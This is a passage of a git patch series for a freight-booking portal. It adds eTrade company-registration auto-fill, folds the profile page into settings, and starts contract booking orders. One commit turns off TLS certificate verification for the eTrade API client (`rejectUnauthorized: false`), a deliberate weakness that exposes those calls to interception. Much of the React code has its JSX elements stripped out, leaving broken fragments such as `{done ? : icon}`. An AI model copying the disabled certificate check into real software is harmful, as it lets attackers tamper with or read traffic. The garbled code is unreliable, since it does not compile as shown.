setValue("houseNo", data.houseNo); + setValue("etradePhone", data.regularPhone || data.mobilePhone); + setEtradeOwner({ + name: data.managerName, + phone: data.managerPhone || data.regularPhone || data.mobilePhone, + }); + }; + + /** Fill the General Manager from the eTrade business owner. */ + const useOwnerAsManager = () => { + if (!etradeOwner) return; + setValue("generalManagerName", etradeOwner.name); + const { number, countryCode } = splitPhone(etradeOwner.phone); + setValue("generalManagerPhone", number); + setValue("generalManagerPhoneCountryCode", countryCode); + }; + + /** Copy the General Manager into the Contact Person fields (toggleable). */ + const toggleGmAsContact = (checked: boolean) => { + setGmIsContact(checked); + if (!checked) return; + setValue("contactPersonName", watch("generalManagerName")); + setValue("contactPersonEmail", watch("generalManagerEmail")); + setValue("contactPersonPhone", watch("generalManagerPhone")); + setValue( + "contactPersonPhoneCountryCode", + watch("generalManagerPhoneCountryCode"), + ); + }; + + /** Copy the Contact Person into the PoA fields (toggleable, still editable). */ + const toggleContactAsPoa = (checked: boolean) => { + setContactIsPoa(checked); + if (!checked) return; + setValue("poaName", watch("contactPersonName")); + setValue("poaEmail", watch("contactPersonEmail")); + setValue("poaPhone", watch("contactPersonPhone")); + setValue("poaPhoneCountryCode", watch("contactPersonPhoneCountryCode")); + }; + const hasDocuments = Boolean(uploadSetting?.fields?.length); - const totalSteps = 5; + + // Single source of truth for step sequence — navigation, labels and the + // progress bar all derive from this so adding/removing a step is one edit. + const stepOrder: CompanyStep[] = [ + "company", + "personnel", + "contact", + "poa", + "documents", + "additional", + ]; + const totalSteps = stepOrder.length; + const currentIdx = stepOrder.indexOf(step); /** Validate + persist the current step, returning whether we may advance. */ const saveCurrentStep = async (): Promise => { @@ -351,55 +518,44 @@ export default function CompanyProfileForm({ handleSubmit((data) => onSubmit(buildPayload(data, user)))(); return; } - if (step === "documents") { - setStep("additional"); - return; + // The documents step has nothing to persist; field steps validate + save + // before advancing. + if (step !== "documents") { + const ok = await saveCurrentStep(); + if (!ok) return; } - // company / personnel / poa: validate + save before advancing. - const ok = await saveCurrentStep(); - if (!ok) return; - setStep( - step === "company" ? "personnel" : step === "personnel" ? "poa" : "documents", - ); + setStep(stepOrder[currentIdx + 1]); }; const prevStep = () => { setSaveError(null); - if (step === "company") onBack(); - else if (step === "personnel") setStep("company"); - else if (step === "poa") setStep("personnel"); - else if (step === "documents") setStep("poa"); - else setStep("documents"); + if (currentIdx === 0) onBack(); + else setStep(stepOrder[currentIdx - 1]); }; // Back is hidden on the first step during onboarding (can't return to role // selection); otherwise always available. const showBack = !(hideFirstStepBack && step === "company"); - const STEPS: { key: CompanyStep; icon: React.ReactNode }[] = [ - { key: "company", icon: }, - { key: "personnel", icon: }, - { key: "poa", icon: }, - { key: "documents", icon: }, - { key: "additional", icon: }, - ]; - - const STEP_LABELS: Record = { - company: `Step 1 of ${totalSteps} — Company Information`, - personnel: `Step 2 of ${totalSteps} — Personnel Details`, - poa: `Step 3 of ${totalSteps} — Power of Attorney (Optional)`, - documents: `Step 4 of ${totalSteps} — Upload Documents`, - additional: `Step 5 of ${totalSteps} — Business License`, + const STEP_ICONS: Record = { + company: , + personnel: , + contact: , + poa: , + documents: , + additional: , }; - const stepOrder: CompanyStep[] = [ - "company", - "personnel", - "poa", - "documents", - "additional", - ]; - const currentIdx = stepOrder.indexOf(step); + const STEP_TITLES: Record = { + company: "Company Information", + personnel: "General Manager", + contact: "Contact Person", + poa: "Power of Attorney (Optional)", + documents: "Upload Documents", + additional: "Business License", + }; + + const stepLabel = `Step ${currentIdx + 1} of ${totalSteps} — ${STEP_TITLES[step]}`; return ( <> @@ -421,7 +577,7 @@ export default function CompanyProfileForm({ className="relative max-w-lg mx-auto px-2" > - {STEPS.map(({ key, icon }, i) => { + {stepOrder.map((key, i) => { const done = i < currentIdx; const active = i === currentIdx; return done || active ? ( @@ -433,7 +589,7 @@ export default function CompanyProfileForm({ color="edr-green" className="relative z-10" > - {done ? : icon} + {done ? : STEP_ICONS[key]} ) : ( - {icon} + {STEP_ICONS[key]} ); })} - {STEP_LABELS[step]} + {stepLabel} @@ -520,38 +676,133 @@ export default function CompanyProfileForm({ error={errors.fanNumber?.message} {...register("fanNumber")} /> + + + + Fetch Company Information from eTrade + + + + {watch("licenceNumber") && ( + <> + + + Registration Details from eTrade + + + + + + + + + + + + + + + + Address Information + + + + + + + + + + + + + + + )} )} {step === "personnel" && ( <> - - Contact Person - - - - - - - - - - General Manager - + + + General Manager + + {etradeOwner && ( + + )} + )} + {step === "contact" && ( + <> + + Contact Person + + toggleGmAsContact(e.currentTarget.checked)} + /> + + + + + + + + + + )} + {step === "poa" && ( <> Power of Attorney details are optional. Fill them in if you have them, or skip to continue. + toggleContactAsPoa(e.currentTarget.checked)} + /> => { + const response = await client.post>( + URL_CONSTANTS.COMPANIES_API.FETCH_ETRADE_INFO, + payload, + ); + return unwrap(response.data); + }, }; diff --git a/apps/edr-freight-web/portal/src/types/profile.ts b/apps/edr-freight-web/portal/src/types/profile.ts index e2a551159..951a1f129 100644 --- a/apps/edr-freight-web/portal/src/types/profile.ts +++ b/apps/edr-freight-web/portal/src/types/profile.ts @@ -13,7 +13,21 @@ export interface ProfileResponse { tinNumber: string; vatNumber: string | null; fanNumber: string | null; + licenceNumber?: string | null; + statusDescription?: string | null; + dateRegistered?: string | null; + renewedFrom?: string | null; + renewalDate?: string | null; + renewedTo?: string | null; + region?: string | null; + zone?: string | null; + woreda?: string | null; + kebele?: string | null; + houseNo?: string | null; + etradePhone?: string | null; contactPersonName: string | null; + contactPersonPosition: string | null; + contactPersonEmail: string | null; contactPersonPhone: string | null; generalManagerName: string | null; generalManagerEmail: string | null; @@ -36,7 +50,21 @@ export interface UpdateProfilePayload { tin?: string; vatNumber?: string; fanNumber?: string; + licenceNumber?: string; + statusDescription?: string; + dateRegistered?: string; + renewedFrom?: string; + renewalDate?: string; + renewedTo?: string; + region?: string; + zone?: string; + woreda?: string; + kebele?: string; + houseNo?: string; + etradePhone?: string; contactPersonName?: string; + contactPersonPosition?: string; + contactPersonEmail?: string; contactPersonPhone?: string; generalManagerName?: string; generalManagerEmail?: string; diff --git a/packages/types/src/freight/etrade.ts b/packages/types/src/freight/etrade.ts new file mode 100644 index 000000000..9067569fb --- /dev/null +++ b/packages/types/src/freight/etrade.ts @@ -0,0 +1,79 @@ +export interface ETradeAddressInfo { + Region: string; + Zone: string; + Woreda: string; + Kebele: string; + HouseNo: string; + MobilePhone: string; + RegularPhone: string; +} + +export interface ETradeAssociateInfo { + Position: string | null; + ManagerName: string; + ManagerNameEng: string; + Photo: string | null; + MobilePhone: string | null; + RegularPhone: string | null; +} + +export interface ETradeBusinessInfo { + MainGuid: string; + OwnerTIN: string; + DateRegistered: string; + TradeName: string; + LicenceNumber: string; + Status: number; + StatusDescription: string; + Capital: number; + AssociateShortInfos: ETradeAssociateInfo[]; + AddressInfo: ETradeAddressInfo; + RenewedTo: string; + RenewedToDateString: string; + RenewalDate: string; + RenewedFrom: string; + CancellationDate: string | null; +} + +export interface ETradeCompanyInfo { + Tin: string; + LegalCondtion: string; + RegNo: string; + RegDate: string; + BusinessName: string; + BusinessNameAmh: string; + PaidUpCapital: number; + AssociateShortInfos: ETradeAssociateInfo[]; + Businesses: Array<{ + MainGuid: string; + OwnerTIN: string; + DateRegistered: string; + TradeNameAmh: string; + TradesName: string; + LicenceNumber: string; + RenewalDate: string; + RenewedFrom: string; + RenewedTo: string; + BusinessLicensingGroupMain: string | null; + SubGroups: string | null; + }>; +} + +export interface CompanyRegistrationData { + licenceNumber: string; + statusDescription: string; + dateRegistered: string; + renewedFrom: string; + renewalDate: string; + renewedTo: string; + region: string; + zone: string; + woreda: string; + kebele: string; + houseNo: string; + mobilePhone: string; + regularPhone: string; + managerName: string; + managerEmail?: string; + managerPhone: string; +} diff --git a/packages/types/src/freight/index.ts b/packages/types/src/freight/index.ts index 983dc69be..07f99f65b 100644 --- a/packages/types/src/freight/index.ts +++ b/packages/types/src/freight/index.ts @@ -3,6 +3,7 @@ import type { BaseEntity } from "../common"; export * from "./dropdown_settings"; export * from "./file_upload_settings"; export * from "./overview"; +export * from "./etrade"; export enum TradeDirection { IMPORT = "IMPORT", From 72b6c9875d1585dc00f1e9a4658936fbda7e758a Mon Sep 17 00:00:00 2001 From: Marshal Date: Sat, 20 Jun 2026 10:39:53 +0000 Subject: [PATCH 08/19] feat: integrate eTradeInfo component for auto-filling company information and enhance TIN input handling --- .../companies/services/etrade.service.ts | 11 +++++ .../src/components/onboarding/ETradeInfo.tsx | 39 ++++++++++------- .../src/pages/accounts/CompanyProfileForm.tsx | 42 +++++++++---------- 3 files changed, 55 insertions(+), 37 deletions(-) diff --git a/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts b/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts index 95f927738..15054c701 100644 --- a/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts +++ b/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts @@ -1,5 +1,6 @@ import { Injectable, BadRequestException } from "@nestjs/common"; import { HttpService } from "@nestjs/axios"; +import { Agent } from "https"; import { firstValueFrom } from "rxjs"; import { ETradeCompanyInfo, @@ -12,6 +13,14 @@ export class ETradeService { private readonly baseUrl = "https://etrade.gov.et/api"; private readonly referer = "https://etrade.gov.et/business-license-checker"; + /** + * The eTrade server serves an incomplete TLS chain (it omits the intermediate + * CA cert), so Node rejects the handshake with UNABLE_TO_GET_ISSUER_CERT. + * Scope a relaxed agent to these outbound calls only — the rest of the app + * keeps full certificate verification. + */ + private readonly httpsAgent = new Agent({ rejectUnauthorized: false }); + constructor(private readonly httpService: HttpService) {} async getCompanyInfoByTin(tin: string): Promise { @@ -20,6 +29,7 @@ export class ETradeService { const response = await firstValueFrom( this.httpService.get(url, { headers: { Referer: this.referer }, + httpsAgent: this.httpsAgent, }), ); return response.data; @@ -44,6 +54,7 @@ export class ETradeService { Lang: "en", }, headers: { Referer: this.referer }, + httpsAgent: this.httpsAgent, }), ); return response.data; diff --git a/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx index 15632fe1b..5fcfadaa1 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx @@ -3,24 +3,33 @@ import { Button, Group, Loader, - SimpleGrid, Stack, Text, TextInput, } from "@mantine/core"; -import { AlertCircle, CheckCircle2, RefreshCw } from "lucide-react"; +import type { UseFormRegisterReturn } from "react-hook-form"; +import { AlertCircle, CheckCircle2, Download } from "lucide-react"; import { useETradeData } from "@/hooks/useETradeData"; import type { CompanyRegistrationData } from "@edr/types"; interface ETradeInfoProps { + /** Current TIN value (drives button enablement). */ tin: string; + /** RHF registration for the TIN input — this is the form's primary TIN field. */ + register: UseFormRegisterReturn; + /** Validation error for the TIN field, if any. */ + error?: string; onDataLoaded: (data: CompanyRegistrationData) => void; } -export default function ETradeInfo({ tin, onDataLoaded }: ETradeInfoProps) { +export default function ETradeInfo({ + tin, + register, + error, + onDataLoaded, +}: ETradeInfoProps) { const mutation = useETradeData(); const isLoading = mutation.isPending; - const hasError = mutation.isError; const hasData = mutation.data; const handleFetch = async () => { @@ -32,40 +41,42 @@ export default function ETradeInfo({ tin, onDataLoaded }: ETradeInfoProps) { }; const errorMessage = - hasError && mutation.error + mutation.isError && mutation.error ? (mutation.error as any).message || "Failed to fetch company information. Please try again." : null; return ( - + - {hasError && errorMessage && ( + {errorMessage && ( } color="red" title="Failed to fetch data" > - {errorMessage} + {errorMessage} You can still fill in the details manually below. )} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index ecc8d38ec..11f75b4b7 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -614,6 +614,18 @@ export default function CompanyProfileForm({ {step === "company" && ( <> + + Enter your TIN to auto-fill company information from eTrade + + + + + - + - - - - - Fetch Company Information from eTrade - - {watch("licenceNumber") && ( <> From cc62482d4eb07a3c40fcf19a2061e010cf2bb345 Mon Sep 17 00:00:00 2001 From: Marshal Date: Sat, 20 Jun 2026 10:59:18 +0000 Subject: [PATCH 09/19] feat: remove ProfilePage and update routing to redirect to Settings; enhance SettingsPage with ProfileHeader and improved tab handling --- apps/edr-freight-web/portal/src/App.tsx | 11 +- .../portal/src/pages/ProfilePage.tsx | 410 ------------------ .../portal/src/pages/SettingsPage.tsx | 332 +++++++------- .../src/pages/accounts/CompanyProfileForm.tsx | 45 +- .../src/pages/settings/CompanyRolesCard.tsx | 2 +- 5 files changed, 219 insertions(+), 581 deletions(-) delete mode 100644 apps/edr-freight-web/portal/src/pages/ProfilePage.tsx diff --git a/apps/edr-freight-web/portal/src/App.tsx b/apps/edr-freight-web/portal/src/App.tsx index e436eaff6..89d094734 100644 --- a/apps/edr-freight-web/portal/src/App.tsx +++ b/apps/edr-freight-web/portal/src/App.tsx @@ -7,7 +7,6 @@ import { Receipt, Settings, Sparkles, - User, } from "lucide-react"; import { useDisclosure } from "@mantine/hooks"; import { useEffect, useRef } from "react"; @@ -24,7 +23,6 @@ import useAuth from "./hooks/useAuth"; import OnboardingWizardDialog from "./components/onboarding/OnboardingWizardDialog"; import EDRFreightLandingPage from "./pages/EDRFreightLandingPage"; import MyPortalPage from "./pages/MyPortalPage"; -import ProfilePage from "./pages/ProfilePage"; import MySignaturePage from "./pages/MySignaturePage"; import SettingsPage from "./pages/SettingsPage"; import LoginPage from "./pages/accounts/LoginPage"; @@ -211,12 +209,6 @@ const sidebarItems: SidebarItem[] = [ href: "/billing", icon: , }, - { - section: "Account", - label: "Profile", - href: "/profile", - icon: , - }, { section: "Account", label: "Settings", @@ -297,7 +289,8 @@ const App = () => { /> } /> } /> - } /> + {/* Profile was merged into Settings — keep old links working. */} + } /> } /> } /> diff --git a/apps/edr-freight-web/portal/src/pages/ProfilePage.tsx b/apps/edr-freight-web/portal/src/pages/ProfilePage.tsx deleted file mode 100644 index cf31d17a9..000000000 --- a/apps/edr-freight-web/portal/src/pages/ProfilePage.tsx +++ /dev/null @@ -1,410 +0,0 @@ -import { api } from "@/services/api"; -import { - Badge, - Box, - Button, - Card, - Center, - Container, - Divider, - Grid, - Group, - Loader, - SimpleGrid, - Stack, - Text, - ThemeIcon, - Title, -} from "@mantine/core"; -import { useQuery } from "@tanstack/react-query"; -import { - BadgeCheck, - Briefcase, - Building, - Building2, - FileCheck, - Globe, - Mail, - MapPin, - Phone, - Plus, - ShieldCheck, - User, - UserCheck, -} from "lucide-react"; -import { Link } from "react-router-dom"; -import { rolesForCompanyType } from "./settings/companyRoles"; - -function InfoItem({ - icon, - label, - value, -}: { - icon?: React.ReactNode; - label: string; - value?: string | null; -}) { - return ( - - {icon && ( - - {icon} - - )} - - - {label} - - - {value || "—"} - - - - ); -} - -function CardHeading({ - icon, - title, - description, -}: { - icon: React.ReactNode; - title: string; - description: string; -}) { - return ( - - - {icon} - - {title} - - - - {description} - - - ); -} - -function PersonnelGroup({ - color, - title, - children, -}: { - color: string; - title: string; - children: React.ReactNode; -}) { - return ( - - - - - {title} - - - - {children} - - - ); -} - -export default function ProfilePage() { - const { data: profile, isPending } = useQuery( - api.companies.getProfile.queryOptions(), - ); - - if (isPending) { - return ( -
- -
- ); - } - - if (!profile) { - return ( -
- No company profile found. -
- ); - } - - // Registered operational profiles keyed by type, plus the roles this company - // type may hold (importer/exporter for a customer). Mirrors CompanyRolesCard. - const refByType = new Map(profile.companyProfiles.map((p) => [p.type, p])); - const roleOptions = rolesForCompanyType(profile.companyType); - const activeOptions = roleOptions.filter((o) => refByType.has(o.type)); - - return ( - - {/* Header */} - - - - - - - - {profile.companyName} - - - Verified - - - {activeOptions.length > 0 ? ( - - {activeOptions.map((opt) => ( - - {opt.label} · {refByType.get(opt.type)!.reference} - - ))} - - ) : ( - - - - {profile.companyType} - - - )} - - - - - - - {/* Left Column */} - - - {/* Company Details */} - - - } - title="Company Details" - description="Business registration information" - /> - - } - label="Location" - value={profile.companyLocation} - /> - } - label="Address" - value={profile.companyAddress} - /> - } - label="TIN Number" - value={profile.tinNumber} - /> - } - label="FAN Number" - value={profile.fanNumber} - /> - } - label="Email" - value={profile.companyEmail} - /> - } - label="Phone" - value={profile.companyPhone} - /> - - - - {/* Key Personnel */} - - - } - title="Key Personnel" - description="Management and contact persons" - /> - - - - - - - - - - - - - - {/* Power of Attorney */} - {profile.poaName && ( - - - } - title="Power of Attorney" - description="Authorized representative details" - /> - - - - - - - - )} - - - - {/* Right Column */} - - - {/* Operating Roles */} - - - } - title="Operating Roles" - description="Your registered freight roles and reference numbers" - /> - {roleOptions.length === 0 ? ( - - Role management for this company type is coming soon. - - ) : ( - - {roleOptions.map((opt) => { - const active = refByType.get(opt.type); - return ( - - - - {opt.icon} - - - - {opt.label} - - - {active ? active.reference : "Not registered"} - - - - {active ? ( - - {active.status} - - ) : ( - - )} - - ); - })} - - )} - - - {/* Secure Account */} - - - - - - - Secure Account - - - Your information is protected by enterprise-grade security. - Contact support for verified information updates. - - - - - - - - - ); -} diff --git a/apps/edr-freight-web/portal/src/pages/SettingsPage.tsx b/apps/edr-freight-web/portal/src/pages/SettingsPage.tsx index 6f0b17022..8c3204123 100644 --- a/apps/edr-freight-web/portal/src/pages/SettingsPage.tsx +++ b/apps/edr-freight-web/portal/src/pages/SettingsPage.tsx @@ -1,27 +1,34 @@ import { api } from "@/services/api"; import type { ProfileResponse } from "@/types/profile"; import { - Alert, + Badge, + Box, Card, Center, Container, Group, Loader, + Stack, Tabs, Text, + ThemeIcon, Title, } from "@mantine/core"; import { useQuery, useQueryClient } from "@tanstack/react-query"; import { AlertCircle, + BadgeCheck, Briefcase, Building2, FileCheck, + Globe, + ShieldCheck, User, UserCheck, } from "lucide-react"; -import { useCallback, useEffect, useState } from "react"; -import { useNavigate, useSearchParams } from "react-router-dom"; +import { useCallback, useEffect } from "react"; +import { useSearchParams } from "react-router-dom"; +import { rolesForCompanyType } from "./settings/companyRoles"; import TabCompanyProfile from "./settings/TabCompanyProfile"; import TabContactPerson from "./settings/TabContactPerson"; import TabDocuments from "./settings/TabDocuments"; @@ -30,35 +37,139 @@ import TabPowerOfAttorney from "./settings/TabPowerOfAttorney"; type SettingsTab = "company" | "contact" | "gm" | "poa" | "documents"; -function tabIncomplete(tabId: SettingsTab, profile?: ProfileResponse | null): boolean { - if (!profile) return false; +/** A section is "incomplete" when its required fields aren't filled in yet. */ +function tabIncomplete( + tabId: SettingsTab, + profile: ProfileResponse, +): boolean { switch (tabId) { case "company": - return !profile.companyEmail || !profile.companyPhone || !profile.companyAddress || !profile.fanNumber; + return ( + !profile.companyEmail || + !profile.companyPhone || + !profile.companyAddress || + !profile.fanNumber + ); case "contact": return !profile.contactPersonName || !profile.contactPersonPhone; case "gm": - return !profile.generalManagerName || !profile.generalManagerEmail || !profile.generalManagerPhone; + return ( + !profile.generalManagerName || + !profile.generalManagerEmail || + !profile.generalManagerPhone + ); case "poa": - return false; case "documents": return false; } } const TABS: { id: SettingsTab; label: string; icon: React.ReactNode }[] = [ - { id: "company", label: "Company Profile", icon: }, + { id: "company", label: "Company", icon: }, { id: "contact", label: "Contact Person", icon: }, { id: "gm", label: "General Manager", icon: }, { id: "poa", label: "Power of Attorney", icon: }, { id: "documents", label: "Documents", icon: }, ]; +/** + * Polished identity banner shown above the editor tabs — company name, its + * registered operating roles, location and verification status at a glance. + */ +function ProfileHeader({ profile }: { profile: ProfileResponse }) { + const refByType = new Map(profile.companyProfiles.map((p) => [p.type, p])); + const roleOptions = rolesForCompanyType(profile.companyType); + const activeRoles = roleOptions.filter((o) => refByType.has(o.type)); + + return ( + + + + + + + + + + + + + + {profile.companyName} + + } + > + Verified + + + + {activeRoles.length > 0 ? ( + + {activeRoles.map((opt) => ( + + {opt.label} · {refByType.get(opt.type)!.reference} + + ))} + + ) : ( + + {profile.companyType.replace(/_/g, " ")} + + )} + + + {profile.companyLocation && ( + + + {profile.companyLocation} + + )} + {profile.tinNumber && ( + + + + TIN {profile.tinNumber} + + + )} + + + + + + ); +} + export default function SettingsPage() { - const navigate = useNavigate(); const queryClient = useQueryClient(); const [searchParams, setSearchParams] = useSearchParams(); const tab = (searchParams.get("tab") as SettingsTab) || "company"; + const setTab = useCallback( (t: SettingsTab) => { setSearchParams( @@ -79,9 +190,10 @@ export default function SettingsPage() { refetchOnWindowFocus: false, }), ); - const profile = profileQuery.data; + // Keep the cached company info in sync whenever the profile changes, so the + // header (and the rest of the app) reflect edits immediately. useEffect(() => { if (profileQuery.dataUpdatedAt > 0) { queryClient.invalidateQueries({ @@ -90,34 +202,6 @@ export default function SettingsPage() { } }, [profileQuery.dataUpdatedAt, queryClient]); - const [isOnboarding, setIsOnboarding] = useState(null); - - useEffect(() => { - if (profileQuery.isFetched && isOnboarding === null) { - setIsOnboarding(!profileQuery.data); - } - }, [profileQuery.isFetched, profileQuery.data, isOnboarding]); - - const handleOnboardingSuccess = useCallback(() => { - setTab("contact"); - }, [setTab]); - - const handleContactContinue = useCallback(() => { - setTab("gm"); - }, [setTab]); - - const handleGMContinue = useCallback(() => { - setTab("poa"); - }, [setTab]); - - const handlePOAContinue = useCallback(() => { - setTab("documents"); - }, [setTab]); - - const handleDocumentsContinue = useCallback(() => { - navigate("/portal"); - }, [navigate]); - if (profileQuery.isPending) { return (
@@ -126,126 +210,82 @@ export default function SettingsPage() { ); } - const onboarding = isOnboarding === true; - - const renderProfileContent = (children: React.ReactNode) => { - if (onboarding && tab !== "company" && !profile) { - return ( -
- -
- ); - } - if (!profile) { - return ( - + if (!profile) { + return ( + +
- } - color="gray" - variant="light" - > - Please complete the company profile first. - + + + No company profile found. +
- ); - } - return children; - }; +
+ ); + } return ( - - + + + +
- - {onboarding ? "Complete Your Profile" : "Account Settings"} + <Title order={2} size="h3"> + Account Settings - {onboarding - ? "Set up your company profile, personnel, and documents to get started" - : "Manage your company profile, personnel, and documents"} + Manage your company profile, personnel, and documents.
-
- { - if (!value) return; - // if (onboarding) return; - setTab(value as SettingsTab); - }} - > - - {TABS.map((t) => ( - - ) : undefined - } - > - {t.label} - - ))} - + value && setTab(value as SettingsTab)} + variant="pills" + radius="md" + > + + {TABS.map((t) => ( + + ) : undefined + } + > + {t.label} + + ))} + - - {!profile ? ( - - ) : ( + - )} - - - - {renderProfileContent( - , - )} - - - - {renderProfileContent( - , - )} - - - - {renderProfileContent( - , - )} - - - - {renderProfileContent( - , - )} - - + + + + + + + + + + + + + + +
); } diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 11f75b4b7..9c2c4001d 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -57,7 +57,9 @@ const onboardingSchema = z.object({ companyPhone: z.string().min(1, "Company phone is required"), companyPhoneCountryCode: z.string().min(1, "Country code is required"), companyLocation: z.string().min(1, "Location is required"), - companyAddress: z.string().min(1, "Address is required"), + // Derived from the eTrade address parts (kebele/woreda/zone/region); no + // standalone input — the granular fields live in the registration section. + companyAddress: z.string().optional(), tinNumber: z.string().length(10, "TIN must be exactly 10 digits"), vatNumber: z .string() @@ -429,6 +431,27 @@ export default function CompanyProfileForm({ setValue("kebele", data.kebele); setValue("houseNo", data.houseNo); setValue("etradePhone", data.regularPhone || data.mobilePhone); + + // Compose a readable company address from the granular eTrade parts. + const addressParts = [ + data.houseNo, + data.kebele, + data.woreda, + data.zone, + data.region, + ].filter((part) => part && part.trim()); + if (addressParts.length) { + setValue("companyAddress", addressParts.join(", ")); + } + + // Pre-fill the company contact phone from eTrade's mobile number. + const mobile = data.mobilePhone || data.regularPhone; + if (mobile) { + const { number, countryCode } = splitPhone(mobile); + setValue("companyPhone", number); + setValue("companyPhoneCountryCode", countryCode); + } + setEtradeOwner({ name: data.managerName, phone: data.managerPhone || data.regularPhone || data.mobilePhone, @@ -651,20 +674,12 @@ export default function CompanyProfileForm({ label="Company Phone" /> - - - - + - Business Profile + Operating Roles {profile.companyType === "customer" From b6d5047d27a453f74ce57d758addf413df7b20e0 Mon Sep 17 00:00:00 2001 From: Marshal Date: Sat, 20 Jun 2026 19:31:51 +0000 Subject: [PATCH 10/19] feat: Implement general contract booking orders functionality - Add DTOs for creating booking orders and viewing contract quantities. - Create entities for booking orders and booking order lines. - Implement service for managing general contract operations, including activation after payment and retrieving quantity lines. - Develop UI components for contract detail and list pages, including order placement dialog. - Integrate API service for booking orders, enabling listing and creating orders against contracts. - Enhance contract status display and quantity pool visualization in the UI. --- apps/edr-freight-api/src/app.module.ts | 2 + ...2000000000-AddUnitOfMeasureToCargoTypes.ts | 19 ++ ...0000001-AddBookingTypeAndContractFields.ts | 39 +++ .../1792000000002-CreateBookingOrders.ts | 74 +++++ ...1792000000003-SeedGeneralContractPeriod.ts | 46 +++ .../booking-orders.controller.ts | 53 ++++ .../booking-orders/booking-orders.module.ts | 30 ++ .../booking-orders.repository.ts | 41 +++ .../booking-orders/booking-orders.service.ts | 293 ++++++++++++++++++ .../booking-orders/dto/contract-view.dto.ts | 23 ++ .../dto/create-booking-order.dto.ts | 45 +++ .../entities/booking-order-line.entity.ts | 30 ++ .../entities/booking-order.entity.ts | 62 ++++ .../general-contract.service.ts | 161 ++++++++++ .../booking-reference-data.service.ts | 1 + .../modules/bookings/bookings.repository.ts | 6 + .../src/modules/bookings/bookings.service.ts | 13 +- .../dto/booking-reference-data.dto.ts | 4 + .../bookings/dto/create-booking.dto.ts | 23 +- .../bookings/dto/filter-booking.dto.ts | 6 + .../bookings/entities/booking.entity.ts | 29 +- .../src/modules/payment/payment.module.ts | 2 + .../src/modules/payment/payment.service.ts | 51 ++- .../rule-engine/dto/create-cargo-type.dto.ts | 11 +- .../rule-engine/entities/cargo-type.entity.ts | 9 + .../services/cargo-types.service.ts | 1 + .../compare-scheduling-priority.util.ts | 8 +- .../train-scheduling/fleet-plan.util.ts | 4 +- .../train-scheduling.service.ts | 2 +- apps/edr-freight-web/portal/src/App.tsx | 10 + .../src/pages/bookings/NewBookingPage.tsx | 51 ++- .../new-booking-form/StepIndicator.tsx | 14 +- .../pages/bookings/new-booking-form/schema.ts | 20 +- .../new-booking-form/step1-contract-type.tsx | 44 ++- .../new-booking-form/step5-cargo-details.tsx | 15 +- .../pages/contracts/ContractDetailPage.tsx | 291 +++++++++++++++++ .../src/pages/contracts/ContractsList.tsx | 247 +++++++++++++++ .../src/pages/contracts/PlaceOrderDialog.tsx | 254 +++++++++++++++ .../src/pages/contracts/contract-ui.tsx | 91 ++++++ .../portal/src/services/api.ts | 26 ++ .../src/services/booking-orders.service.ts | 34 ++ .../portal/src/services/bookings.service.ts | 2 + packages/types/src/freight/index.ts | 106 ++++++- 43 files changed, 2256 insertions(+), 37 deletions(-) create mode 100644 apps/edr-freight-api/src/migrations/1792000000000-AddUnitOfMeasureToCargoTypes.ts create mode 100644 apps/edr-freight-api/src/migrations/1792000000001-AddBookingTypeAndContractFields.ts create mode 100644 apps/edr-freight-api/src/migrations/1792000000002-CreateBookingOrders.ts create mode 100644 apps/edr-freight-api/src/migrations/1792000000003-SeedGeneralContractPeriod.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/booking-orders.controller.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/booking-orders.module.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/booking-orders.repository.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/booking-orders.service.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/dto/contract-view.dto.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/dto/create-booking-order.dto.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/entities/booking-order-line.entity.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/entities/booking-order.entity.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/general-contract.service.ts create mode 100644 apps/edr-freight-web/portal/src/pages/contracts/ContractDetailPage.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/contracts/ContractsList.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/contracts/PlaceOrderDialog.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/contracts/contract-ui.tsx create mode 100644 apps/edr-freight-web/portal/src/services/booking-orders.service.ts diff --git a/apps/edr-freight-api/src/app.module.ts b/apps/edr-freight-api/src/app.module.ts index 7857d7c7e..eca814b6d 100644 --- a/apps/edr-freight-api/src/app.module.ts +++ b/apps/edr-freight-api/src/app.module.ts @@ -13,6 +13,7 @@ import telebirrConfig from "./config/telebirr.config"; import rabbitmqConfig from "./config/rabbitmq.config"; import { BookingsModule } from "./modules/bookings/bookings.module"; +import { BookingOrdersModule } from "./modules/booking-orders/booking-orders.module"; import { SignaturesModule } from "./modules/signatures/signatures.module"; import { FilesModule } from "./modules/files/files.module"; import { ConsignmentsModule } from "./modules/consignments/consignments.module"; @@ -87,6 +88,7 @@ import { VehiclesModule } from './modules/vehicles/vehicles.module'; permissions: EDR_FREIGHT_PERMISSIONS, }), BookingsModule, + BookingOrdersModule, SignaturesModule, FilesModule, ConsignmentsModule, diff --git a/apps/edr-freight-api/src/migrations/1792000000000-AddUnitOfMeasureToCargoTypes.ts b/apps/edr-freight-api/src/migrations/1792000000000-AddUnitOfMeasureToCargoTypes.ts new file mode 100644 index 